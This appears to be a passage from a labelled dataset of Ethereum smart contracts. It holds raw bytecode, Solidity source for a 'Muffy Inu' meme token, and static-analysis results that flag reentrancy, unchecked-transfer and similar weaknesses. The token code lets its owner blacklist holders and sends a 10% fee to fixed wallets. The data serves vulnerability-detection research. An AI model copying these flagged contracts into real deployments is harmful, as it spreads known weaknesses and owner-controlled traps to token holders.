restTokenBalance); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631515bc2b146101075780631afe3e10146101365780631f2dc5ef146101615780632c4e722e1461018c5780632e37eef6146101b75780634042b66f146101f85780634b6753bc146102235780634bb278f31461024e578063521eb27314610265578063695c5a26146102bc578063715018a6146102ee5780638da5cb5b1461030557806397d32a121461035c578063b7a8807c146103b3578063bc5cf284146103de578063ec8ac4d81461041f578063f2fde38b14610455578063fc0c546a14610498575b610105336104ef565b005b34801561011357600080fd5b5061011c6105bd565b604051808215151515815260200191505060405180910390f35b34801561014257600080fd5b5061014b6105c9565b6040518082815260200191505060405180910390f35b34801561016d57600080fd5b50610176610643565b6040518082815260200191505060405180910390f35b34801561019857600080fd5b506101a1610649565b6040518082815260200191505060405180910390f35b3480156101c357600080fd5b506101e26004803603810190808035906020019092919050505061064f565b6040518082815260200191505060405180910390f35b34801561020457600080fd5b5061020d610672565b6040518082815260200191505060405180910390f35b34801561022f57600080fd5b50610238610678565b6040518082815260200191505060405180910390f35b34801561025a57600080fd5b5061026361067e565b005b34801561027157600080fd5b5061027a610918565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c857600080fd5b506102d161093e565b604051808381526020018281526020019250505060405180910390f35b3480156102fa57600080fd5b50610303610a6d565b005b34801561031157600080fd5b5061031a610b6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036857600080fd5b50610371610b94565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bf57600080fd5b506103c8610bba565b6040518082815260200191505060405180910390f35b3480156103ea57600080fd5b5061040960048036038101908080359060200190929190505050610bc0565b6040518082815260200191505060405180910390f35b610453600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104ef565b005b34801561046157600080fd5b50610496600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be3565b005b3480156104a457600080fd5b506104ad610c4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000803491506104ff8383610c70565b61050882610c9d565b905061051f82600554610cd990919063ffffffff16565b60058190555061052f8382610cf7565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36105a68383610d05565b6105ae610d09565b6105b88383610d74565b505050565b60006007544211905090565b6000806000806105d761093e565b92509250600090505b60088054905081101561063c576008818154811015156105fc57fe5b906000526020600020015483141561062f5760098181548110151561061d57fe5b9060005260206000200154935061063d565b80806001019150506105e0565b5b50505090565b60045481565b60035481565b60088181548110151561065e57fe5b906000526020600020016000915090505481565b60055481565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106db57600080fd5b600654421180156106ed575060075442115b15156106f857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156107b557600080fd5b505af11580156107c9573d6000803e3d6000fd5b505050506040513d60208110156107df57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d602081101561090357600080fd5b81019080805190602001909291905050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600060065442101561097d576006547ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe80905092509250610a68565b600090505b6008805490508110156109e15760088181548110151561099e57fe5b90600052602060002001544210156109d4576008818154811015156109bf57fe5b90600052602060002001548192509250610a68565b8080600101915050610982565b600754421015610a1b576007547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff80905092509250610a68565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd819150809050925092505b509091565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600981815481101515610bcf57fe5b906000526020600020016000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3e57600080fd5b610c4781610d78565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6006544210158015610c8457506007544211155b1515610c8f57600080fd5b610c998282610e72565b5050565b600080610ca86105c9565b9050610cd1600354610cc38386610ec290919063ffffffff16565b610edd90919063ffffffff16565b915050919050565b6000808284019050838110151515610ced57fe5b8091505092915050565b610d018282610f10565b5050565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610d71573d6000803e3d6000fd5b50565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610db457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610eae57600080fd5b60008114151515610ebe57600080fd5b5050565b6000808284811515610ed057fe5b0490508091505092915050565b60008082840290506000841480610efe5750828482811515610efb57fe5b04145b1515610f0657fe5b8091505092915050565b610f5d8282600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f619092919063ffffffff16565b5050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561100457600080fd5b505af1158015611018573d6000803e3d6000fd5b505050506040513d602081101561102e57600080fd5b8101908080519060200190929190505050151561104a57600080fd5b5050505600a165627a7a723058205f396686367357c7ea69b48672d31924cfcd285956f8cd112e726cbc8e07716c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,068
0xa3e53c55a889c4841033dadc37ed2acd82dd52c9
/** */ /** */ /** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Muffy is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Muffy Inu"; string private constant _symbol = "Muffy"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x13c1C1944238BD2F21F5Eac90152B0f3E42AEEb5); _feeAddrWallet2 = payable(0xEB2C32997Dc32f9Cdf0E1477e164e912a6b1926A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 15000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c9578063b515566a146102e9578063c3c8cd8014610309578063c9567bf91461031e578063dd62ed3e1461033357600080fd5b806370a082311461023e578063715018a61461025e5780638da5cb5b1461027357806395d89b411461029b57600080fd5b8063273123b7116100d1578063273123b7146101cb578063313ce567146101ed5780635932ead1146102095780636fc3eaec1461022957600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101ab57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260098152684d7566667920496e7560b81b60208201525b60405161014991906117c8565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004611668565b610379565b6040519015158152602001610149565b34801561018e57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610149565b3480156101b757600080fd5b506101726101c6366004611627565b610390565b3480156101d757600080fd5b506101eb6101e63660046115b4565b6103f9565b005b3480156101f957600080fd5b5060405160098152602001610149565b34801561021557600080fd5b506101eb610224366004611760565b61044d565b34801561023557600080fd5b506101eb610495565b34801561024a57600080fd5b5061019d6102593660046115b4565b6104c2565b34801561026a57600080fd5b506101eb6104e4565b34801561027f57600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a757600080fd5b506040805180820190915260058152644d7566667960d81b602082015261013c565b3480156102d557600080fd5b506101726102e4366004611668565b610558565b3480156102f557600080fd5b506101eb610304366004611694565b610565565b34801561031557600080fd5b506101eb6105fb565b34801561032a57600080fd5b506101eb610631565b34801561033f57600080fd5b5061019d61034e3660046115ee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103863384846109fa565b5060015b92915050565b600061039d848484610b1e565b6103ef84336103ea856040518060600160405280602881526020016119b4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e6b565b6109fa565b5060019392505050565b6000546001600160a01b0316331461042c5760405162461bcd60e51b81526004016104239061181d565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104775760405162461bcd60e51b81526004016104239061181d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b557600080fd5b476104bf81610ea5565b50565b6001600160a01b03811660009081526002602052604081205461038a90610f2a565b6000546001600160a01b0316331461050e5760405162461bcd60e51b81526004016104239061181d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610386338484610b1e565b6000546001600160a01b0316331461058f5760405162461bcd60e51b81526004016104239061181d565b60005b81518110156105f7576001600660008484815181106105b3576105b3611964565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ef81611933565b915050610592565b5050565b600c546001600160a01b0316336001600160a01b03161461061b57600080fd5b6000610626306104c2565b90506104bf81610fae565b6000546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104239061181d565b600f54600160a01b900460ff16156106b55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610423565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f530826b033b2e3c9fd0803ce80000006109fa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072e57600080fd5b505afa158015610742573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076691906115d1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ae57600080fd5b505afa1580156107c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e691906115d1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082e57600080fd5b505af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086691906115d1565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610896816104c2565b6000806108ab6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610947919061179a565b5050600f80546a0c685fa11e01ec6f00000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c257600080fd5b505af11580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f7919061177d565b6001600160a01b038316610a5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610423565b6001600160a01b038216610abd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610423565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610423565b6001600160a01b038216610be45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610423565b60008111610c465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610423565b6001600a556009600b556000546001600160a01b03848116911614801590610c7c57506000546001600160a01b03838116911614155b15610e5b576001600160a01b03831660009081526006602052604090205460ff16158015610cc357506001600160a01b03821660009081526006602052604090205460ff16155b610ccc57600080fd5b600f546001600160a01b038481169116148015610cf75750600e546001600160a01b03838116911614155b8015610d1c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d315750600f54600160b81b900460ff165b15610d8e57601054811115610d4557600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6957600080fd5b610d7442601e6118c3565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db95750600e546001600160a01b03848116911614155b8015610dde57506001600160a01b03831660009081526005602052604090205460ff16155b15610dee576001600a556009600b555b6000610df9306104c2565b600f54909150600160a81b900460ff16158015610e245750600f546001600160a01b03858116911614155b8015610e395750600f54600160b01b900460ff165b15610e5957610e4781610fae565b478015610e5757610e5747610ea5565b505b505b610e66838383611137565b505050565b60008184841115610e8f5760405162461bcd60e51b815260040161042391906117c8565b506000610e9c848661191c565b95945050505050565b600c546001600160a01b03166108fc610ebf836002611142565b6040518115909202916000818181858888f19350505050158015610ee7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f02836002611142565b6040518115909202916000818181858888f193505050501580156105f7573d6000803e3d6000fd5b6000600854821115610f915760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610423565b6000610f9b611184565b9050610fa78382611142565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff657610ff6611964565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104a57600080fd5b505afa15801561105e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108291906115d1565b8160018151811061109557611095611964565b6001600160a01b039283166020918202929092010152600e546110bb91309116846109fa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f4908590600090869030904290600401611852565b600060405180830381600087803b15801561110e57600080fd5b505af1158015611122573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e668383836111a7565b6000610fa783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061129e565b60008060006111916112cc565b90925090506111a08282611142565b9250505090565b6000806000806000806111b987611314565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111eb9087611371565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121a90866113b3565b6001600160a01b03891660009081526002602052604090205561123c81611412565b611246848361145c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128b91815260200190565b60405180910390a3505050505050505050565b600081836112bf5760405162461bcd60e51b815260040161042391906117c8565b506000610e9c84866118db565b60085460009081906b033b2e3c9fd0803ce80000006112eb8282611142565b82101561130b575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113318a600a54600b54611480565b9250925092506000611341611184565b905060008060006113548e8787876114d5565b919e509c509a509598509396509194505050505091939550919395565b6000610fa783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6b565b6000806113c083856118c3565b905083811015610fa75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610423565b600061141c611184565b9050600061142a8383611525565b3060009081526002602052604090205490915061144790826113b3565b30600090815260026020526040902055505050565b6008546114699083611371565b60085560095461147990826113b3565b6009555050565b600080808061149a60646114948989611525565b90611142565b905060006114ad60646114948a89611525565b905060006114c5826114bf8b86611371565b90611371565b9992985090965090945050505050565b60008080806114e48886611525565b905060006114f28887611525565b905060006115008888611525565b90506000611512826114bf8686611371565b939b939a50919850919650505050505050565b6000826115345750600061038a565b600061154083856118fd565b90508261154d85836118db565b14610fa75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610423565b80356115af81611990565b919050565b6000602082840312156115c657600080fd5b8135610fa781611990565b6000602082840312156115e357600080fd5b8151610fa781611990565b6000806040838503121561160157600080fd5b823561160c81611990565b9150602083013561161c81611990565b809150509250929050565b60008060006060848603121561163c57600080fd5b833561164781611990565b9250602084013561165781611990565b929592945050506040919091013590565b6000806040838503121561167b57600080fd5b823561168681611990565b946020939093013593505050565b600060208083850312156116a757600080fd5b823567ffffffffffffffff808211156116bf57600080fd5b818501915085601f8301126116d357600080fd5b8135818111156116e5576116e561197a565b8060051b604051601f19603f8301168101818110858211171561170a5761170a61197a565b604052828152858101935084860182860187018a101561172957600080fd5b600095505b838610156117535761173f816115a4565b85526001959095019493860193860161172e565b5098975050505050505050565b60006020828403121561177257600080fd5b8135610fa7816119a5565b60006020828403121561178f57600080fd5b8151610fa7816119a5565b6000806000606084860312156117af57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117f5578581018301518582016040015282016117d9565b81811115611807576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a25784516001600160a01b03168352938301939183019160010161187d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118d6576118d661194e565b500190565b6000826118f857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119175761191761194e565b500290565b60008282101561192e5761192e61194e565b500390565b60006000198214156119475761194761194e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bf57600080fd5b80151581146104bf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b92ca5ca6e0bb0b13005c2ed8258ff5f1f9138731edc6fd0964331830005cb564736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,069
0x2676d51e7a2e532f8e944e6ea5ca1cd07048ab08
